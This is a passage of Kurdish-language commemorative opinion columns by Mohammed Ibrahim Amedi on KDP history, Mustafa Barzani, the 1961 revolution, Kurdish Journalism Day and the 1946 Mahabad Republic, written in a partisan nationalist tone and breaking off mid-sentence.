محەمەد ئیبراهیم ئامێدی

رێبازا ٧٩ سالان رێبازا دویر و درێژ و پڕ رۆژێن سەخت و دژوار و قەیران و جانفیدایێ یە و شۆرەشا وەك شۆرەشا ئیلونێ‌ 1961 و گۆلانێ‌ ١٩٧٦و سەركەفتنێن مەزن و دەستكەفتیێن نەتەوەیی و رێككەفتنێن مێژوویی، وەك رێكەفتنا ١١ ئادارا سالا١٩٧٠ و خۆینا هزاران شەهیدێن سەربلند و هەردەم ساخ. وەك فلمەكێ‌ دیكیۆمێنت دهێتە دیتن, ب ١٤ كۆنگرەیان یێن هاتینە گرێدان. و ئێك ژ وێ‌ ستراتیژیا كوردستانێ‌ كو ئەڤرۆ ئەم ل ژێر ئالایێ‌ كوردستانێ‌ دژین و پەرلەمانێ‌ هەلبژارتی و حوكمەتا هەرێما كوردستانێ‌ و جڤاتا وەزیران و دەهان بزاڤ و چالاكێین دی. دامەزراندنا پارتی دیموكراتی كوردستان بەری ٧٩ سالان ل 16 تەباخێ‌ سالا 1946 ب سەرۆكاتیا بابێ‌ روحی یێ‌ نەتەوا كورد بارزانیێ‌ نەمر (مستەفا)، پێنگاڤەكا مێژوویی و پێدڤی بوو ب مەرەما دانانا ئایدولۆژیەكا ستراتیژی یا كوردستانی د بەرژوەندیا مللەتێ‌ كوردی دا بیت ل ناڤا گۆرەپانا سیاسی دا ل دەڤەرێ‌، د ناڤ ژمارەكا مەزن یا رویدان و گوهۆرینێن جیهانی و جەنگا جیهانی یێ‌ ئێكێ‌ و دوویێ‌ و وان شۆرەشێن كوردی و سەرهلدان و داستانا ێین مەزن وپیرۆز . لێ‌ هێشتا رێك یا دویر ودرێژە و ئەرك و ئارمانج د زۆرن یا پڕ هیڤی و ئۆمێدێن دینە، یێن نەتەوەیی، سیاسی، جڤاكی، ئابۆری و دارایی. ئەڤجا بلا بیرەوەریا ٧٩ سالیا دامەزراندنا پارتی دیموكراتی كوردستان، ببیتە هاندەرەك ژبۆ تەرخانكرنا هەمی بزاڤ و شیانان د هێلێن كار و خەباتێ‌ دا، ب روحەكا نوی و خوینەكا نوی د بزاڤا پارتی دا ل ژێر چاڤدێریا سەرۆكێ‌ هێژا مەسعود بارزانی سەرۆكێ‌ پارتی دیموكراتی كوردستان و بەر ب رۆژەكا گەشتر بۆ مللەتێ‌ مە یێ‌ كورد و بریارا چارەنڤیسێ‌ كوردان و هەردەم پرۆسێسا ریفراندۆمێ ل بیرا مە بیت و زندی بكەین. بلا بیرەوەریا ٧٩ یا دامەزراندنا پارتی دیموكراتی كوردستان ببیتە ئاگرەكێ‌ هەل و دژوار بەرانبەری رەگەزپەرست و شۆفینی و دكتاتۆڕان و قەیرانێن نوكە یێن سیاسی و ئابۆری و كوردستان هەر بمینیت بنگەهێ‌ ئاشتیێ‌ و ئازادیێ‌ و ئارامیێ و فرەحزباتیێ‌ و لێبۆرینا ئۆلی و ئایینی و تیرۆشكێن سەركەفتنێ‌ و دیموكراسیێ‌ لێ‌ ڤەدەن بۆ هەمی وەلایێن جیهانێ‌ وەك قوتابخانەكا رەسەن و تێكۆشەر یا كوردایەتیێ د هەمی واران دا.

محەمەد ئیبراهیم ئامێدی

سەرۆكێ ئێكێ یێ كۆمارا ئیراقێ (خ.ر) (عبد الكریم قاسم) داخواز ژ (بارزانیێ نەمر مستەفا) كر ژ ئێكەتیا سۆڤیێتا بەرێ بزڤریتەڤە ئیراقێ ژبۆ هاریكارییا شۆرەشا ١٤ تیرمەهێ بكەت، ئەڤجا ل دووڤ ڤێ داخوازیێ ل ٦/١٠/١٩٥٨بارزانیێ نەمر زڤری ئیراقێ دگەلدا ٥٠٠ پێشمەرگەیێن قارەمان و ب پێشوازیەكا گەرم و هەژی ڤە هاتە پێشوازیكرن ژلایێ هەموو تەخ و چین ولایەن و هۆز و ئایین وكەسان ڤە، كو ل مێژوویا ئیراقێ داچ جاران نەهاتییە ئەنجامدان، ب گەلەك درووشمێن نیشتمانی ڤە ب نموونە (هەر بژیت كورد و عەرەب رەمز لنیزال). بارزانیێ نەمر ل بەغدا ئاكنجی بۆ هەموو دەمێن خۆ تەرخانكرن ژبۆدەستڤەئینانا گەلەك ماف و دەستكەفتیان بۆ كوردان، وەك ١ـ ل دستوورێ ئیراقێ هاتە چەسپاندن ونڤیسین، كورد و عەرەب د وەلاتێ ئیراقێ دا هەڤپشكن.٢ـ پەسەندكرنا یاسا كارێ رێكخراوێن پارتێن سیاسی و یێن جەماوەری ب شێوازی فەرمی وئاشكەرا. ٣ـ یاسا چاكسازیا چاندنێ و نەهێلانا دەربەكیێ و ل سەر ڤێ چەندێ بارەگایێن پارت و رێكخراوا هاتنە ڤەكرن و دەست ب كار و چالاكیێن خۆكرن.
پشتی بۆرینا ماوەكی ل سەر شۆرەشێ، رژێما قاسمی بەرب دكتاتۆریێ ڤە چوو ب هەبوونا رەگەزپەرست و شۆفێنیان د هەیكەلێ كۆمارێ دا و ل سەر سیستەمێ رژێمێن بەرێ چوون ل گەل كوردان و ئەو سۆز و رێكەفتن ل گەل بارزانی گۆتین بۆ كوردان، جێبەجێ نەكرن، گەلەك هەول و بزاڤ ژ لایێ بارزانیێ نەمر و سەركردەیا كوردان ڤە هاتنەكرن، بۆ چارەسەكرنا هەموو ئاریشەیان ب زمانێ دیالۆگێ، ل ٢٠/١١/١٩٦١ و ب ناڤێ مللەتێ كورد و پارتی، یاداشتنامەك بۆ حوكمەتا ئیراقێ هاتە ئاراستەركرن، ژ ڤان بابەتان پێكهاتبوو:
١ـ ڤەكێشانا هێزێن سۆپایێ ئیراقێ، ئەوێن بۆ كوردستانێ هاتینە هنارتن و كارێن سۆپای نەهێنەكرن.
٢ـ ڤەكێشانا فەرمانبەرێن عمومی ئەوێن روۆلەكێ بەرز د رویدانێنن دوماهیێ دا هەیین.
٣.ـ زڤرینا وان فەرمانبەران ئەوێن ژ كوردستانێ هاتینە دوورئێخستن، بۆ جهێن وان یێن بەرێ.
٤.ـ دامەزراندنا سەركردەیێن دلسۆز ژ كوردان بۆ پۆستێن سەرەكی.
٥.ـ چەسپاندنا ماددێ (3) ژ دستوورێ ئیراقێ چەسپاندنەكا دروست.
٦.ـ پاقژكرنا هەیكەلێ حكومی ژ مرۆڤێن دژاتی بەرانبەری شۆرەشا ١٤ تیرمەهێ هەین.
٧.ـ بەر ب ئازادیێن دیموكراسی بۆ مللەتی و ڤەگوهاستنا ئیراقێ بۆ سیستەمێ دیموكراسیێ.
٨.ـ جێبەجێكرنا بریارێن كۆنگرەیێ مامۆستایێن كوردستانێ یێ سالا ١٩٦١ژ بۆ پێشڤەبرنا رەوشەنبیریا كوردی.
٩.ـ زمانێ كوردی بیتە زمانێ فەرمی ل هەموو دامودەزگەهێن فەرمی ل كوردستانێ.
١٠ـ ژنافبرنا شینوارێن رەگەزپەرستیێ، ئەوا ب حەقێ كوردان دئیت.
١١ـ هێلانا چاندنا رووەكێ تیتنێ ل ئەردێ چاندنێ یێ باش.
١٢.ـ راستڤەكرنا یاسا باجا ئەردی كود بیتە بارگرانیەك ل سەر جۆتیاری.
١٣.ـ د انان و ڤەكرنا پرۆژەیان ل كوردستانێ، كو دێ كونترۆلكرێ‌ ل سەر بێكاریێ كەت.١٤ـ نەهیلان و نەمانا گران نەرخی یا فاحش و لێدانا دەستێن بازرگانیێ ب قویتێ مللەتی دكەن.
لێ مخابن هەر چەندە ئەڤە نەداخوازیێن مەزن بوون. وەك هندەك مافێن پێدڤی بوون ل دووڤ وی دەمی، لێ بیرئانینا ناڤهاتی یا بێ ئەنجام بوو. عەبدولكەریم قاسمی ل جاتی زمانێ دیالۆگێ ل سەر ڤێ چەندێ و ئاشتیێ بكاربینیت، تیپێن سوپایێ ئیراقێ ڤرێكرنە كوردستانێ و ب تۆپ و فرۆكەیان كوردستان تۆپباران كر و باژێركێن كوردان سۆتن وخەلكەك ژخەلكێ مە شەهید و برینداربوون و دەرڤەدەربوون، ب مەرەما ژناڤبرنا شۆرەشا ئیلۆنێ كو ل ١١/٩/١٩٦١چریسكێن خۆ هەلدابوون و ڤەدان ل سەرانسەری كوردستانێ، لەورا چ ب دەستێ مللەتێ كورد نەما ژبلی بەردەوامبوونا شۆرەشا ئیلۆنێ كو ئەڤە بابەتەكێ دویر و درێژە د رێبازا خەباتا بزاڤا رزگاریخوازیا كوردی دا.

محەمەد ئیبراهیم ئامێدی

ئەڤرۆ ئەم هەموو داخوازكرینە د ئێك سەنگەر دابین و بەر ب مۆكومكرنا ئێكرێزیا مللەتێ كورد و پاراستنا ئاسایشا نەتەوەیی و وان دەستكەفتیێن مە دەستخۆ ڤە ئیناین ڤە بچین و ل بیرا مەبیت وان رۆژێن سەخت و دژوار و وان كارێن نە مرۆڤایەتی ب سەرێ‌ مە كوردان هاتین و وان رویبارێن خوینێ‌ رێتین یێن هزاران شەهیدێن هەردەم سەر بلند و ساخ و بزاڤەكا دویر و درێژ ژ بزاڤا رزگاریخوازیا كوردی، یا پڕ جانفدایی و خەبات و بەرگری و زێرەڤانی و بدەستڤەئینانا سەدان دەستكەفتیان، هەر ژ دامەزراندنا حوكمەتا هەرێما كوردستانی هەتا وان پێشكەفتنێن كەفتینە د هەمی بیاڤێن ژین و ژیار و كاراندان. كو ئەڤرۆ ئەم پێدڤی چارەسەریا قەیرانایە و بەرگریێ‌ ژ خاك وەلات و نیشتیمانێ‌ كوردستان بكەین.ب ئێك دل و جان راوەستین ل بەرانبەری رەگەزپەرست وشۆفینیان ئەوێن هێشتا ل سەر سیستەم و سیاسەتا رژێمێن بەرێ‌ سەرەدەریێ‌ ل گەل كوردان دكەن. كو هەمی كورد و كوردستانی یێن داخوازكرینە د ئێك سەنگەردا بن، ب ئێكرێزی و ئێك گۆتارا سیاسی، سەخمەراتی دەستڤەئینانا مافێ‌ خۆ یێ‌ رەوا و بەرگریێ‌ ژ هەر كارەكێ‌ پێدڤی و رویدانەكا پەیدا دبیت، كو ئاریشا برینا مووەیێ فەرمانبەران و خانەنشینان ئێكە ژ ئاستەنگان بۆ مە هاتیە دروستكرن ژ لایێ حوكمەتا فیدرال ڤە ل دژی هەمی یاسا و مافێ رەوا و وژدانا و ئەعرافان، بلا ئەم هەموو د ئێك سەنگەرێ‌ خۆرستی دا بین ل ژێر چاڤدێریاری و پەیامێن سەرۆكێ‌ خۆشتڤی رێزدار مسعود بارزانی و یافەرە هەمی ب زمانێ‌ دیالۆگێ‌ ئاریشەیان چارە سەركەن و هەمی لایەنێن سیاسی و یێن د شۆلەژێ‌ د بەرژەوەندیا مللەتێ‌ كورد دابن و جارەنڤیسێ‌ كوردان و پاشەرۆژەكا گەش و رێخستنا مالا كوردی ب روحەكا كوردایەتیێ‌ یا دویر ژ ناكۆكی و ململانا حزباتیێ‌ ب ئێك ئارمانج و هەلوەست ل ژێر ئالایێ‌ كوردستانێ‌ یێ‌ رەنگین، و سروودا نیشتیمانی یاكوردی (ئەی رەقیب) و حوكمەتا هەرێما كوردستانێ‌ و وان دەستكەفتیان كو ب خوینا هزاران هزار شەهیدان یێن هاتین و ئەم هەموو پاسەوان و زێرەڤانێن ڤی سەنگەرێ‌ خۆرستی بین دا پێكڤە بگەهینە مافێ خۆ یێ رەوا.

محەمەد ئیبراهیم ئامێدی

رۆژنامەڤانی وەك شۆرەشەكێ یا هەلدەت و ئاستێ كار و خەباتێ یێن بەرز و بلند بن د خزمەتا گەل و خاك وەلات و پێكڤەژیانێ دا و گەشەپێدانێ و مافێ رەوا وسەربەخۆیێ، كو ٢٢/٤/١٨٩٨رۆژەكا هەردەم یا گەشە و خۆرتە ل جەم مللەتێ مە وەك رۆژا رۆژنامەڤانیا كوردی رۆژا دەرچوونا ئێكەمین رۆژنامە یا كوردی ب ناڤێ كوردستان بەری ١٢٧ سالان، سەر ل دەستێ مقداد مەدحەت بەدرخان ل قاهرە پایتەختێ كۆمارا مسرێ ل وی دەمی. ئەڤرۆ ب هەبوونا هەموو ئامیرەیێن رۆژنامەڤانیا سەردەم و تەكنۆلۆجی د هەمی بیاڤ و واران دا هەر ژ چاپەمەنیان و مایكێ هەتا دام و دەزگەهێن راگەهاندنێ و كەنالێن تەلەفزیۆنێ و ئەنترنێتێ و سەدان رۆژنامە و هزاران كۆڤار یێن دهێنە دەرئێخستن ل سەر ئاستێ كوردستانێ و ل پتر ژ ٢٥ دەولەتان ژی ل جیهانێ بزاڤ و خەبات بەردەوامن د ڤی بیاڤی دا، كو ئەڤنە هەمی یێن بەردەستێن خواندەڤانان و وەلاتیێن خۆشتڤی، كاروانێ رۆژنامەگەریێ یێ بەردەوامە هیڤیدارین د خزمەتا كارێن گشتی و نەتەوەیی و دامەزراندنا دەولەتا كوردی دا بن وەك مافێ رەوا یێ مللەتێ كورد. ب هەلكەفتا ١٢٧ سالڤەگەرا رۆژا رۆژنامەڤانیا كوردی ب رێز و نەوازش ڤە خۆ بۆ شەهیدێن كوردستانێ دچەمینین، سلاڤێن شۆرەشڤانی بۆ پێشمەرگێن قارەمانو جوانترین پیرۆزباهی بۆ هەمی رۆژنامەنڤیسێن كوردستانێ. بلا بیرەوەریا ١٢٧ بیتە هاندەرەكێ ئەكتیف بۆ بلندكرنا ئاستێ هۆشەمەندیا مللەتێ كورد یا نەتەوایەتی بۆ ئێكرێزی و ئێك گۆتارا سیاسی و ئێك هەلوەستێ نەتەوەیەتی ب پەیڤا رەسەن و پێنڤیسێ ئازاد، پیرۆزبیت ئەڤ بیرەوەریە ل (٧٢) ملیۆن كورد ل سەرانسەری جیهانێ، نەخشە ل هەر سال ب سەركەفتنێن مەزن و مێژوویی و ب خۆشی و شادی ل ژێر سیبەرا ئالایێ كوردستانێ یێ پیرۆز و سروودا نیشتیمانی (ئەی رەقیب) و چاڤدێریا سەرۆكێ هێژا و خۆشتڤی رێزدار مەسعود بارزانی و خۆدایێ مەزن و دلۆڤان هاریكار بیت.

محەمەد ئیبراهیم ئامێدی

ل دەستپێكێ هەژی گۆتنێ یە كو پڕانیا ڤان بیرەوەریان رەگەز و بنەمایێن دەولەتبوونێنە، 1/3/1979 وەغەركرنا بابێ‌ رۆحی یێ‌ نەتەوا كورد بارزانیێ‌ نەمر (مستەفا) پشتی ژیەكێ‌ پڕ خەبات و جانفیدایێ‌ و دەربەدەری و پشكداریێ د سەركردایەتیا شۆرەشێن بارزان1932، 1943، 1945 و ئیلۆنێ‌ 1961، سەخمەراتی بدەستڤەئینانا مافێ‌ كوردان یێ‌ رەوا و سەربەخوەیا كوردستانێ‌ و پشكداری د دامەزراندنا كۆمارا كوردستان دا سالا1946 وەرگرتنا پلا جەنەرالیێ‌. ل بارزان یێ‌ هاتیە خاكسپاردن ل گەل ئیدرسێ‌ جانەمەرگ و مەزارێ‌ وان یێ‌ بوویە جهێ‌ سەرەدانا هەمی كورد و كوردستانیان ژ هەر چارپارچەیێن كوردستانێ‌ و جیهانێ‌. ل 1/3/1936 سەرهەلدانا دێرسمێ‌ ل باكورێ كوردستانێ هەلدا ب قۆمانداریا سەید ڕزا دێرسمی، ل 19/3/1918 حوكمەتا ئەلمانیا و یساما برۆنزی دا نڤیسكار و مێژووڤان (محەمەد ئەمین زەكی)، ژبەر خزمەتا وی بۆ مللەتێ كوردی د بیاڤێ رەوشەنبیری و مێژووڤانیێ دا.ـ 1/3/1920 جینەرال (شەڕیف پاشا) یاداشنامەك پێشكێشی كۆنگرەیێ ئاشتێ كر ل پاریسێ پایتەختێ فرەنسا تێدا داخوازی ژ جڤاكا دەولی كر، بەرپرساتیا مللەتێ كورد هەلبگرن د بیاڤێ چەسپاندنا مافێ رەوا و چارەنڤیسێ كوردان. ـ 4/3/1192 وەغەركرنا پێشەوایێ‌ كورد سەلاحەددینێ‌ ئەیۆبی. ل 5/3/1923 فرۆكەیێن ئینگلیزی باژێری سلێمانیێ تۆببارانكر.ل 5/3/1991 دەستپێكا سەرهلدانا كوردستانێ‌ ل باژارێ‌ رانیا ل دژی داگیركەرێن كوردستانێ‌ ب هەموو تەخوچینا ن ڤە وەك ئەلهۆیێن چییا رابوون رامالینا دەڤەرێ‌ ژ رەگەزپەرست و شۆفینیان كرن، حەتا هەمی باژار و باژێركێن كوردستانێ‌ ڤەگرتی.ل 6/3/1975 رێككەفتنا خیانەتكارانە یا جەزائیر، لێ‌ بەرسڤا ڤێ‌ چەندێ‌ بۆ وان دوژمنان،ل 26/5/1976 شۆرەشا گولانێ هەلدا. ـ ل 7/3/1921 شێخ مەحموود حەفید بۆ هندێ هاتە نەفیكرن. ل 8/3/1908 جەژنا ئافرەتێن جیهانێ‌ و كوردستانێ‌.ل 10 ئادارێ رۆژا جلوبەرگێن كوردی یە. ل 10/3/1970 مۆركرنا رێككەفتنا حۆكمێ‌ ئۆتونومی بۆ كوردستانێ‌، د ناڤبەرا بارزانیێ‌ نەمر و رژێما ئیراقێ‌ دا،ل گۆندێ‌ ناوبردان و مافێ‌ كوردان بۆ جارا ئێكێ‌ هاتە تۆماركرن ل دستوورێ‌ ئیراقێ‌ دا.ل 11/3/1970 راگەهاندنا رێككەفتنا 11 ئادارێ‌ یا مێژوویی ل بەغدا و ل گۆرەپانا تەحریر وجەماوەرەكێ‌ مەزن بەرهەڤبوو.ل 14/3/1903 ژ دایكبوونا بابێ‌ رۆحی یێ‌ نەتەوا كورد بارزانیێ‌ نەمر مستەفا، كو مللەتێ‌ كورد ژڤان هەبوو ل گەل قەدەر و دیرۆكێ‌.
ل 14/3/1991 سەرهەلدانا باژێرێ‌ دهۆكێ‌ وەك رۆژەكا دیرۆكی وەك شێران.، ل 14 ئادارێ‌ بریارا پەرلەمانێ‌ كوردستانێ‌، ل كوردستانێ‌ بیتە رۆژا چاندنا نەمامێن داروباری و گولان. 15/3/1932 دەستپێكا شۆرەشا ئێكێ‌ یا بارزان ب سەرۆكاتیا شێخ ئەحمەد بارزانی، ل 16/3/1988 كیمیا بارانكرنا باژێرێ‌ هەلەبجەیا شەهید. ل 19/3/1994 جەژنا نەورۆزێ‌ بوو، جەژنا رەسمی ل توركیا بۆ جارا ئێكێ‌،ئاگرێ‌ نەورۆزێ‌ دهێتە هەلكرن ب رێورەسم و و بەرنامەیێن تایبەت. ل 20/3/1990 (زەكییە ئالكان) ل كوردستانا باكور ئاگر بەردا خوە و خۆ سۆت وەك نەرازیبوون ل بەرانبەری،ل 21 ئادارێ‌ جەژنا نەورۆزێ‌، سەرێ‌ سالا كوردی وەك جەژنەكا نەتەوەیی و مللی یا هەمی مللەتێن ئاری. ل جەم مە 21 نەورۆزێ‌ دهێتن وەك ڤرێژەكا كیر ۆ دوور یا خەباتێ‌ ل دژی سیتەمكاری و رەگەزپەرستیێ‌ وپارچەكە ژ كەلەپۆرێ‌ كۆردی یێ‌ رەسەن .ل 22/3/1974پتر ژ 250 هزارخەلكێ كوردستانێ بەرب كۆمارا ئیرانێ ڤەچوون.پشتی نسكۆیا شۆرەشا ئیلۆلێ .ل 25/3/1976 وەغەركرنا جەنەرال ئیحسان نوووری پاشا، پشتی شۆرەشا ئاگری 1927-1930 و دەرڤەدەرێ و رۆژێن سەخت و نەخۆش و ل دووڤ پلانە كێ‌ ب روودانا ماتۆرەكێ‌ هاتە كوشتن ل تەهرانێ‌ ل ڤێ‌ رۆژێ‌ گەهشتە گاروانێ‌ شەهیدێن بزاڤا رزگاریخوازیا كوردی. ل 24/3/1991 دەستپێكرنا كۆچا ملیۆنی، ژبەر ستەمكاریا رژێمێ‌ و كارئینانا كیمیاوی. وەك پەیادە قەستا هەردو دەولەتان كرن ل ژێر سەقایەكێ‌ پڕ بەفر و باران و برس وپێخاس و ب سەدان هەولاتی بوونە قوربانی. ل 31/3/1946 سەرۆكاتیا كۆمارا مهاباد پلەیا جینەرال دا بارزانیێ نەمر مستەفا، ژبەر جەسارەت و قومانداریا وی .ل 31/3/1947 سێدارەدانا پێشەوا قازی محەمەد، سەرۆكێ‌ كۆمارا كوردستان ل مهاباد،پشتی كۆمارا هاتیە راگەهاندن ل22-1-1946 وپشتی بۆرینا 11 مەه و11 رۆژا سەر ژیێ‌ كۆمارێ‌.. هیڤی دارین ئەم هەمی پێكڤە خەمخۆر و دلسۆزێن ڤێ‌ چەندێ‌ بین…

محەمەد ئیبراهیم ئامێدی

ژ بەرهەمێ‌ بزاڤا رزگایخوازیا كوردی، ئێك ژ پێنگاڤێن مێژوویی و گرنگ پشتی دامەزراندنا پارتی دیموكراتی كوردستان ل 16 تەباخا 1946، دامەزراندنا ئێكەتیا قوتابیانی كوردستان ل 18 شواتا 1953و لاوێن كوردستانێ، ل ژێر هەردو پەیڤ و درووشم یێن بابێ رۆحی یێ نەتەوا كورد بارزانیێ نەمر مستەفا گۆتین، (قۆتابی سەرێ رمێنە د هەموو شۆرەشا و سەرهلدانان دا، لاوێن كوردستانێ شیرها پیلایینە، كو باوەریەكا مەزن یا ب ئەرك و رۆلێ‌ قۆتابی و لاوان هەی؛ وەك مەزنترین تەخا جڤاكی د ناڤ مللەتی دا ل بیاڤێ‌ ئاڤاكرنا جڤاكا مەدەنی یا پێشكەفتی وەك ژێدەر و قوتابخانەیا دەرچوونا خۆرتە مێرا و عەگید و شۆرەشگێران و ئاڤاكەرێن جڤاكا پێشكەفتی و ل پاشەرۆژەكا گەش وەرگرتنا بەرپرساتیا (گەل، خاك ، وەلات و نیشتمان) دێ‌ كەن, شەنگستێ‌ پێشڤەبرنا مللەتینە ب دیرۆكەكا دویر و درێژ یا پڕ خەبات و جانفیدایی قۆتابی و لاوێن كوردستانێ مەزنترین تەخا جڤاكینە وگرنگترین هێزە بۆ وەلاتی، ئاڤاكەرێن پاشەرۆژا مللەتینە. لەورا قۆتابی و لاوێن كوردستانێ داخوازكرینە بەر ب دانانا پلان و هێڤێنێ‌ گوهۆرینێن بەردەوام و سەركەفتنێن بەرز و بالا بۆ بەرزكرنا رۆلێ‌ خۆ یێ‌ كاریگەر د بیاڤێ بلندكرنا ئاستێ‌ بەرپرسایەتی و پێكڤەژیانێ‌ و بەرگریێ‌ ژ ئەزمۆنا هەرێما كوردستانێ‌ و رێكخستنا مالا كوردی ب ئێكرێزیێ و ب ئێك گۆتارا سیاسی و هەلوەست، وخۆبەرهەكرن بۆ بەرەڤانیكرنێ ژ مافێ‌

رەوا و سەربەخۆیێ ب ئەكتفكرنا رەگەز و بنەمایێن دەولەتبوونێ، بلندكرنا
ئاستێ‌ زانین و زانستێ‌ و بەرب تەرخانكرنا هەموو دەم و بزاڤا بۆ خواندنێ‌ و زانستێ‌ د هەموو قۆناغێن فێربوونێ‌ دا، وەك چەكەكێ‌ دژوار ب دەستخۆڤە بینین بۆ ئایندەكێ‌ گەشبین و سەربەخۆیێ و شارستانیەكا سەردەم و پێشكەفتی و پاراستنا ناسنامەیا نەتەوەیی و هۆشمەندیا بەردەوام بۆ بلندكرنا ئاستێ‌ گەشەپێدانەكا هەستیار، ئەڤرۆ ١٨ شواتێ ب هەلكەفتا سالرۆژا دامەزراندنا ئێكەتیا قۆتابی و لاوێن كوردستانێ، جوانترین پیرۆزباهیان ئاراستەی هەردو ئێكەتیان دكەین، هیڤیخوازین د ئەركێن خۆ یێن گرنك یێن نیشتمانی دا بەردەوامبن و ب رێز و نەوازش ڤە دراوەستین بۆ گیانێ‌ پاكێ‌ شەهیدێن رێبازا قوتابی و لاوێن كوردستانێ و تەڤا یا شەهیدێن كورد و كوردستانی.

محەمەد ئیبراهیم ئامێدی

د چارچووڤێ بزاڤا رزگاری خوازیا كوردی. وەك خەباتەكا بەردەوام دژی داگیرگەرێن كوردستانێ و بدەستڤەئینانا مافێ رەوا و كیانەكێ سەربەخۆ، كو راگەهاندنا كۆمارا كوردستان ل مهابادێ‌ ل ٢٢/١/ ١٩٤٦ ب  سەرۆكاتیا (پێشەوا قازی محەمەد)، بەرهەمێ وێ رەنج و خەباتا پیرۆز بوو و ئیڕادەیا گەلێ كوردستانێ و دەستكەفتیەكێ گرنگ و مەزن بوو د دیرۆكا هەڤچەرخا كوردی دا، یا بوویە دوورشمێ ئازادیا مللەتێ كورد و هێڤێنێ سەربەخۆیێ. هەر چەندە مێژوو ب سەرفەرازی ڤە بۆ مە دسەلمینیت، كو ئەم كورد كەڤنارین ب ژمارەكا مەزن یا دەولەت و میرنشینان ب ٢٥٠٠ سالان بەری زایینی كو دەولەتا (لۆلۆ) هەبوو و ١٤٠ سالان حوكمرانی ل دەڤەرێ یاكری وەكو هاتییە نڤیسین د پەرتووكا خودێ ژێ رازی مەلا ئەنوەر مایی ل سمینارا خۆ دا لسەر كوردان ل (وەلاتێ چینێ*). بەری ( ٧٩ سالان) رۆژەكا وەك ئەڤرۆ ل ٢٢ كانوونا دویێ سالا ١٩٤٦ ل ژێر ئالایێ كوردستانێ یێ پیرۆز و رەنگین كۆمارا كوردستان هاتەدانان ل سەر دەستێن پێشەوا قازی محەمەد و هەژمارەكا قارەمان و خەباتكارێن كورد ل كوردستانا رۆژهەلات و بارزانیێ نەمر مستەفا) ب ٥٠٠ قارەمان ژ خورتە مێر و عەگیدێن كوردستانا باشور ئامادەببوون ب رێورەسمێن هەژی ل مەیدانا چارچرا ل سەنتەرێ باژێرێ مهاباد هاتە راگەهاندن. كۆمارا كوردستان تیرۆژكەكا هەرە گەشبوو و رویدانەكا هەرە گرنگ بوو د بیاڤێ بلندكرنا ئاستێ هوشەمەندییا نەتەوەیاتی دا ل ناڤ مللەتی دا و بەرزكرنا ناڤێ ناسناما كوردی و ئارمانج و حەز و بیرۆ بۆچوون بۆ ئاڤاكرنا دەولەتا كوردی گەلەك بوون. ل گەل دەستنیشانكرنا دۆست و نەیارێن كوردان. هەرچەندبوو ژیێ كۆمارێ یێ كرتبوو١١هەیڤ و١١رۆژ بوون. لێ د ڤی ماوەیێ كورت دا كابینەیا حوكمەتێ ژ ١٢ وەزارەتان و دانانا بنیاتەكێ  بهێز بۆ لەشكرێ كۆمارێ بۆ پاراستنا خاكا وەلاتی هاتە پێكئینان. سەركردە و بەرپرس و رێبەرێن دەولەتێ هاتبوونە دیاركرن و ئامادەكرن. ژ مارەكا  پرۆژێن گرنگ و ستراتیژی د گەلەك واران دا نەخشە و پلان بۆ هاتبوونە دانان، لێ ژبەر كورتیا ژییێ كۆمارێ نەهاتنە جێبەجێكرن،. دانانا چاپخانەكێ و دەرئیخستنا ژمارەكا  رۆژنامە و گۆڤاران ب زمانێ كوردی وەك رۆژنامەیا كوردستان زمانحالێ كۆمارێ و گۆڤارا (هەلالە، نیشتیمان، گروگالی مەندالانی كورد).١٦/١٢/١٩٤٦دوماهی رۆژ بوو د ژیێ كۆمارێ دا و ل ٣١/٣/١٩٤٧پێشەوا قازی محەمەد و برایێ وی سەیفی و كوڕمامێ وی سەدری هاتنە سێدارەدان ل سەر دەستێ رژێما شاهنشاهی و بۆ خالەك رەش د ناڤ چاڤێن وان دا و دەنگڤەدانەكا هەردەم د هەستێ مللەتێ كورد دا. سەرشۆڕی و شەرمزاری بۆ وان جه و لایەن و كەسێن  سۆز و پەیمانێن پالپشتیێ و هاریكاریێ ب جهنە ئینایین ل بەرانبەری كۆمارێ. لێ كۆمارا كوردستان دێ مینیت هەردەم هێما و دوورشم و سەربۆر و هێڤێنێ خەبات و سەربەخۆیێ و ڕاگەهاندنا دەولەتا كوردی. ئەڤچا بلا بیرەوەریا ٧٩ سالرۆژ كۆمارا كوردستان بیتە هاندەرەكێ ئەكتیڤ بۆ ئێكرێزی و رێخستنا مالا كوردی و ئێك گوتارا سیاسی و پاراستنا ئاسایشا نەتەوایەتی.

محه‌مه‌د ئیبراهیم ئامێدى
ب هه‌لكه‌فتا بیره‌وه‌ریا ٦٦ سالیا شۆره‌شا ١٤ تیرمه‌هێ ١٩٥٨، یا فه‌ره‌ دیاركه‌ین كو بارزانیێ نه‌مرمسته‌فا پشتى كۆمارا كوردستان هاتیه‌ هه‌لوه‌شاندن ل سه‌ر ده‌ستى شاهێ ئیرانێ ل 16-12-1949كو دوماهى رۆژبوو د ژیێ ڤێ كۆمارێ دا، كو ل گه‌ل 500 پێشمه‌رگه‌یان قه‌ستا ئێكه‌تیا سۆڤیێتێ كربوو، ل 6- 10 – 1958 سه‌روكێ ئێ یێ كۆمارا ئیراقێ (عبدالكریم قاسم) داخوازى كر ژ بارزانیێ نه‌مر مسته‌فا بزڤریته‌ ئیراقێ بۆ هاریكاریێ و پالپشتییا ڤێ شۆره‌شى ل دووڤ ڤێ داخوازێ زفری ئیراقێ ڤه‌ و ب پێشوازیه‌كا هه‌ژى و گه‌رم ژ لایێ هه‌مى ته‌خ و چین و ئالیان ڤه‌ هاته‌ پێشوازیكرن و ب گه‌له‌ك دوورشمێن نیشتیمانى ب نموونه‌ وه‌ك (هه‌ر بژیت كورد عه‌ره‌ب ره‌مز النیزال) . ل وى ده‌مى بارزانیێ نه‌مر شیا هنده‌ك ده‌ستكه‌فتیان بۆ ملله‌تێ كورد ده‌ستخوه‌ڤه‌ بینیت و شییا دستوورێ ئیراقێ دا بهێته‌ چه‌سپاندن و نڤسین كو كورد و عه‌ره‌ب د ڤى وه‌لاتى دا هه‌ڤپشكن. هه‌روه‌سا په‌سه‌ندكرنا یاسا كار رێكخراوێن پارتێن سیاسى ویێن جه‌ماوه‌رى ب شێوازه‌كێ میرى و ئاشكه‌را، زێده‌بارى یاسایا چاكسازیا چاندنێ و نه‌هێلانا سیسته‌مێ ده‌ره‌به‌گیێ. له‌ورا باره‌گایێن پارت و رێكخراوان هاتنه‌ ڤه‌كرن و ده‌ست ب بزاڤ و چالاكیێن خوه‌كرن، لى مخابن رژێما عبدالكریم قا سمى پشتى بۆرینا ماوه‌كى ل سه‌رڤێ شۆره‌شێ و هه‌بوونا ره‌گه‌زپه‌رستا و شۆفینیان د هه‌یكه‌لێ كۆمارێ دا ل 